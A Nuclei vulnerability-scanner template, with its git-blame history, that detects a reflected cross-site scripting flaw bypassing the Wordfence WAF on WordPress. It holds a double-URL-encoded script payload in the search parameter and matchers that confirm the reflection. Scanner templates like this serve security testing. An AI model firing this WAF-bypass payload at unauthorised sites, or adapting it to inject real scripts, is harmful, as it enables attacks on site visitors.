nuclei-templates/http/vulnerabilities/wordpress/wordpress-wordfence-waf-byp...

id: wordpress-wordfence-waf-bypass-xss

info:
  name: Wordpress Wordfence - Cross-Site Scripting
  author: hackergautam
  severity: medium
  description: Wordpress Wordfence is vulnerable to cross-site scripting.
  reference:
    - https://twitter.com/naglinagli/status/1382082473744564226
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: wordpress,wordfence,xss,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/?s=ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - <script>alert(document.domain)</script>
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4a0a0047304502203bf332bad88b42bad13753e7b75eb53d71765c488f687a0e4debdee14d9f9abd022100ba222adbe24edb0c96da975357596ae7e3a3b3254eb2fb598e12817108d5638f:922c64590222798bb761d5b6d8e72950
Added wordpress-wordfence-waf-bypass-xss 2021-04-20 09:53:05 +00:00			`id: wordpress-wordfence-waf-bypass-xss`

Update wordpress-wordfence-waf-bypass-xss.yaml 2021-04-20 09:55:04 +00:00			`info:`
Dashboard Content Enhancements (#5324) Dashboard Content Enhancements * dos2nix on several templates * replacing some cvedetails links with NIST 2022-09-08 13:28:46 +00:00			`name: Wordpress Wordfence - Cross-Site Scripting`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`author: hackergautam`
Added wordpress-wordfence-waf-bypass-xss 2021-04-20 09:53:05 +00:00			`severity: medium`
Dashboard Content Enhancements (#5324) Dashboard Content Enhancements * dos2nix on several templates * replacing some cvedetails links with NIST 2022-09-08 13:28:46 +00:00			`description: Wordpress Wordfence is vulnerable to cross-site scripting.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://twitter.com/naglinagli/status/1382082473744564226`
Dashboard Content Enhancements (#5324) Dashboard Content Enhancements * dos2nix on several templates * replacing some cvedetails links with NIST 2022-09-08 13:28:46 +00:00			`classification:`
Match severity with CVSS 2023-03-03 15:27:54 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 5.4`
			`cwe-id: CWE-80`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
templateman update 2023-10-14 11:27:55 +00:00			`tags: wordpress,wordfence,xss,bypass`
Added wordpress-wordfence-waf-bypass-xss 2021-04-20 09:53:05 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Added wordpress-wordfence-waf-bypass-xss 2021-04-20 09:53:05 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?s=ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
Update wordpress-wordfence-waf-bypass-xss.yaml 2021-04-20 09:55:04 +00:00			`words:`
Added wordpress-wordfence-waf-bypass-xss 2021-04-20 09:53:05 +00:00			`- <script>alert(document.domain)</script>`
			`part: body`

			`- type: word`
			`part: header`
Update wordpress-wordfence-waf-bypass-xss.yaml 2021-04-20 09:55:04 +00:00			`words:`
Added wordpress-wordfence-waf-bypass-xss 2021-04-20 09:53:05 +00:00			`- text/html`

			`- type: status`
			`status:`
Updated all templates tags with technologies (#3478) * Updated tags for template sonicwall-email-security-detect.yaml * Updated tags for template detect-sentry.yaml * Updated tags for template kong-detect.yaml * Updated tags for template openam-detect.yaml * Updated tags for template shiro-detect.yaml * Updated tags for template iplanet-web-server.yaml * Updated tags for template graylog-api-browser.yaml * Updated tags for template prtg-detect.yaml * Updated tags for template node-red-detect.yaml * Updated tags for template abyss-web-server.yaml * Updated tags for template geo-webserver.yaml * Updated tags for template autobahn-python-detect.yaml * Updated tags for template default-lighttpd-page.yaml * Updated tags for template microsoft-iis-8.yaml * Updated tags for template lucee-detect.yaml * Updated tags for template php-proxy-detect.yaml * Updated tags for template jenkins-detect.yaml * Updated tags for template cockpit-detect.yaml * Updated tags for template csrfguard-detect.yaml * Updated tags for template dwr-index-detect.yaml * Updated tags for template netsweeper-webadmin-detect.yaml * Updated tags for template weblogic-detect.yaml * Updated tags for template s3-detect.yaml * Updated tags for template tileserver-gl.yaml * Updated tags for template springboot-actuator.yaml * Updated tags for template terraform-detect.yaml * Updated tags for template redmine-cli-detect.yaml * Updated tags for template mrtg-detect.yaml * Updated tags for template tableau-server-detect.yaml * Updated tags for template magmi-detect.yaml * Updated tags for template oidc-detect.yaml * Updated tags for template tor-socks-proxy.yaml * Updated tags for template synology-web-station.yaml * Updated tags for template herokuapp-detect.yaml * Updated tags for template gunicorn-detect.yaml * Updated tags for template sql-server-reporting.yaml * Updated tags for template google-bucket-service.yaml * Updated tags for template kubernetes-mirantis.yaml * Updated tags for template kubernetes-enterprise-manager.yaml * Updated tags for template oracle-iplanet-web-server.yaml * Updated tags for template dell-idrac7-detect.yaml * Updated tags for template dell-idrac6-detect.yaml * Updated tags for template dell-idrac9-detect.yaml * Updated tags for template dell-idrac8-detect.yaml * Updated tags for template apache-guacamole.yaml * Updated tags for template aws-cloudfront-service.yaml * Updated tags for template aws-bucket-service.yaml * Updated tags for template nginx-linux-page.yaml * Updated tags for template telerik-fileupload-detect.yaml * Updated tags for template telerik-dialoghandler-detect.yaml * Updated tags for template htaccess-config.yaml * Updated tags for template microsoft-azure-error.yaml * Updated tags for template detect-options-method.yaml * Updated tags for template unpatched-coldfusion.yaml * Updated tags for template moodle-changelog.yaml * Updated tags for template detect-dns-over-https.yaml * Updated tags for template CVE-2019-19134.yaml * Updated tags for template CVE-2019-3929.yaml * Updated tags for template CVE-2019-19908.yaml * Updated tags for template CVE-2019-10475.yaml * Updated tags for template CVE-2019-17382.yaml * Updated tags for template CVE-2019-16332.yaml * Updated tags for template CVE-2019-14974.yaml * Updated tags for template CVE-2019-19368.yaml * Updated tags for template CVE-2019-12725.yaml * Updated tags for template CVE-2019-15501.yaml * Updated tags for template CVE-2019-9733.yaml * Updated tags for template CVE-2019-14322.yaml * Updated tags for template CVE-2019-9955.yaml * Updated tags for template CVE-2019-0230.yaml * Updated tags for template CVE-2019-10232.yaml * Updated tags for template CVE-2019-17506.yaml * Updated tags for template CVE-2019-8449.yaml * Updated tags for template CVE-2019-12593.yaml * Updated tags for template CVE-2019-10092.yaml * Updated tags for template CVE-2019-1821.yaml * Updated tags for template CVE-2019-3401.yaml * Updated tags for template CVE-2019-16662.yaml * Updated tags for template CVE-2019-5418.yaml * Updated tags for template CVE-2016-4975.yaml * Updated tags for template CVE-2016-1000137.yaml * Updated tags for template CVE-2016-7552.yaml * Updated tags for template CVE-2016-10956.yaml * Updated tags for template CVE-2016-1000146.yaml * Updated tags for template CVE-2013-2251.yaml * Updated tags for template CVE-2013-1965.yaml * Updated tags for template CVE-2014-2323.yaml * Updated tags for template CVE-2014-5111.yaml * Updated tags for template CVE-2014-2962.yaml * Updated tags for template CVE-2014-4561.yaml * Updated tags for template CVE-2014-4558.yaml * Updated tags for template CVE-2014-3120.yaml * Updated tags for template CVE-2007-5728.yaml * Updated tags for template CVE-2009-4679.yaml * Updated tags for template CVE-2009-1558.yaml * Updated tags for template CVE-2009-4202.yaml * Updated tags for template CVE-2009-0932.yaml * Updated tags for template CVE-2015-2068.yaml * Updated tags for template CVE-2015-8813.yaml * Updated tags for template CVE-2015-7450.yaml * Updated tags for template CVE-2015-2067.yaml * Updated tags for template CVE-2015-3306.yaml * Updated tags for template CVE-2015-3337.yaml * Updated tags for template CVE-2015-1427.yaml * Updated tags for template CVE-2015-1503.yaml * Updated tags for template CVE-2015-1880.yaml * Updated tags for template CVE-2018-3810.yaml * Updated tags for template CVE-2018-18069.yaml * Updated tags for template CVE-2018-17246.yaml * Updated tags for template CVE-2018-10141.yaml * Updated tags for template CVE-2018-16341.yaml * Updated tags for template CVE-2018-18777.yaml * Updated tags for template CVE-2018-15138.yaml * Updated tags for template CVE-2018-11784.yaml * Updated tags for template CVE-2018-16299.yaml * Updated tags for template CVE-2018-7251.yaml * Updated tags for template CVE-2018-1273.yaml * Updated tags for template CVE-2018-1271.yaml * Updated tags for template CVE-2018-11759.yaml * Updated tags for template CVE-2018-3167.yaml * Updated tags for template CVE-2018-7490.yaml * Updated tags for template CVE-2018-2628.yaml * Updated tags for template CVE-2018-13380.yaml * Updated tags for template CVE-2018-2893.yaml * Updated tags for template CVE-2018-5316.yaml * Updated tags for template CVE-2018-20985.yaml * Updated tags for template CVE-2018-10818.yaml * Updated tags for template CVE-2018-1000861.yaml * Updated tags for template CVE-2018-0296.yaml * Updated tags for template CVE-2018-19458.yaml * Updated tags for template CVE-2018-3760.yaml * Updated tags for template CVE-2018-12998.yaml * Updated tags for template CVE-2018-9118.yaml * Updated tags for template CVE-2018-1000130.yaml * Updated tags for template CVE-2008-6668.yaml * Updated tags for template CVE-2017-7269.yaml * Updated tags for template CVE-2017-1000170.yaml * Updated tags for template CVE-2017-16877.yaml * Updated tags for template CVE-2017-1000486.yaml * Updated tags for template CVE-2017-9822.yaml * Updated tags for template CVE-2017-0929.yaml * Updated tags for template CVE-2017-7921.yaml * Updated tags for template CVE-2017-14535.yaml * Updated tags for template CVE-2017-5521.yaml * Updated tags for template CVE-2017-12637.yaml * Updated tags for template CVE-2017-12635.yaml * Updated tags for template CVE-2017-11610.yaml * Updated tags for template CVE-2021-20114.yaml * Updated tags for template CVE-2021-40856.yaml * Updated tags for template CVE-2021-21972.yaml * Updated tags for template CVE-2021-31602.yaml * Updated tags for template CVE-2021-41773.yaml * Updated tags for template CVE-2021-37704.yaml * Updated tags for template CVE-2021-45046.yaml * Updated tags for template CVE-2021-26084.yaml * Updated tags for template CVE-2021-27931.yaml * Updated tags for template CVE-2021-24291.yaml * Updated tags for template CVE-2021-41648.yaml * Updated tags for template CVE-2021-37216.yaml * Updated tags for template CVE-2021-22005.yaml * Updated tags for template CVE-2021-37573.yaml * Updated tags for template CVE-2021-31755.yaml * Updated tags for template CVE-2021-43287.yaml * Updated tags for template CVE-2021-24274.yaml * Updated tags for template CVE-2021-33564.yaml * Updated tags for template CVE-2021-22145.yaml * Updated tags for template CVE-2021-24237.yaml * Updated tags for template CVE-2021-44848.yaml * Updated tags for template CVE-2021-25646.yaml * Updated tags for template CVE-2021-21816.yaml * Updated tags for template CVE-2021-41649.yaml * Updated tags for template CVE-2021-41291.yaml * Updated tags for template CVE-2021-41293.yaml * Updated tags for template CVE-2021-21801.yaml * Updated tags for template CVE-2021-29156.yaml * Updated tags for template CVE-2021-34370.yaml * Updated tags for template CVE-2021-27132.yaml * Updated tags for template CVE-2021-28151.yaml * Updated tags for template CVE-2021-26812.yaml * Updated tags for template CVE-2021-21985.yaml * Updated tags for template CVE-2021-43778.yaml * Updated tags for template CVE-2021-25281.yaml * Updated tags for template CVE-2021-40539.yaml * Updated tags for template CVE-2021-36749.yaml * Updated tags for template CVE-2021-21234.yaml * Updated tags for template CVE-2021-33221.yaml * Updated tags for template CVE-2021-42013.yaml * Updated tags for template CVE-2021-33807.yaml * Updated tags for template CVE-2021-44228.yaml * Updated tags for template CVE-2012-0896.yaml * Updated tags for template CVE-2012-0991.yaml * Updated tags for template CVE-2012-0392.yaml * Updated tags for template CVE-2012-4940.yaml * Updated tags for template CVE-2012-1226.yaml * Updated tags for template CVE-2012-4878.yaml * Updated tags for template CVE-2010-1304.yaml * Updated tags for template CVE-2010-1217.yaml * Updated tags for template CVE-2010-0759.yaml * Updated tags for template CVE-2010-2307.yaml * Updated tags for template CVE-2010-4231.yaml * Updated tags for template CVE-2010-2861.yaml * Updated tags for template CVE-2010-4282.yaml * Updated tags for template CVE-2010-1302.yaml * Updated tags for template CVE-2010-1461.yaml * Updated tags for template CVE-2020-4463.yaml * Updated tags for template CVE-2020-1943.yaml * Updated tags for template CVE-2020-36289.yaml * Updated tags for template CVE-2020-17518.yaml * Updated tags for template CVE-2020-12800.yaml * Updated tags for template CVE-2020-10770.yaml * Updated tags for template CVE-2020-17506.yaml * Updated tags for template CVE-2020-11547.yaml * Updated tags for template CVE-2020-11034.yaml * Updated tags for template CVE-2020-24589.yaml * Updated tags for template CVE-2020-9054.yaml * Updated tags for template CVE-2020-28976.yaml * Updated tags for template CVE-2020-16952.yaml * Updated tags for template CVE-2020-24312.yaml * Updated tags for template CVE-2020-8512.yaml * Updated tags for template CVE-2020-14179.yaml * Updated tags for template CVE-2020-6308.yaml * Updated tags for template CVE-2020-35846.yaml * Updated tags for template CVE-2020-7318.yaml * Updated tags for template CVE-2020-2140.yaml * Updated tags for template CVE-2020-5410.yaml * Updated tags for template CVE-2020-5777.yaml * Updated tags for template CVE-2020-13700.yaml * Updated tags for template CVE-2020-5775.yaml * Updated tags for template CVE-2020-13167.yaml * Updated tags for template CVE-2020-35848.yaml * Updated tags for template CVE-2020-9484.yaml * Updated tags for template CVE-2020-15505.yaml * Updated tags for template CVE-2020-9047.yaml * Updated tags for template CVE-2020-17519.yaml * Updated tags for template CVE-2020-17505.yaml * Updated tags for template CVE-2020-9376.yaml * Updated tags for template CVE-2020-8497.yaml * Updated tags for template CVE-2020-14092.yaml * Updated tags for template CVE-2020-10148.yaml * Updated tags for template CVE-2020-35847.yaml * Updated tags for template CVE-2020-12116.yaml * Updated tags for template CVE-2020-11930.yaml * Updated tags for template CVE-2020-24186.yaml * Updated tags for template CVE-2020-9496.yaml * Updated tags for template CVE-2020-35489.yaml * Updated tags for template CVE-2020-26413.yaml * Updated tags for template CVE-2020-2096.yaml * misc updates * misc update * more updates Co-authored-by: sandeep <sandeep@projectdiscovery.io> 2022-01-04 19:34:16 +00:00			`- 200`
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot: 2023-10-20 11:41:13 +00:00
			`# digest: 4a0a0047304502203bf332bad88b42bad13753e7b75eb53d71765c488f687a0e4debdee14d9f9abd022100ba222adbe24edb0c96da975357596ae7e3a3b3254eb2fb598e12817108d5638f:922c64590222798bb761d5b6d8e72950`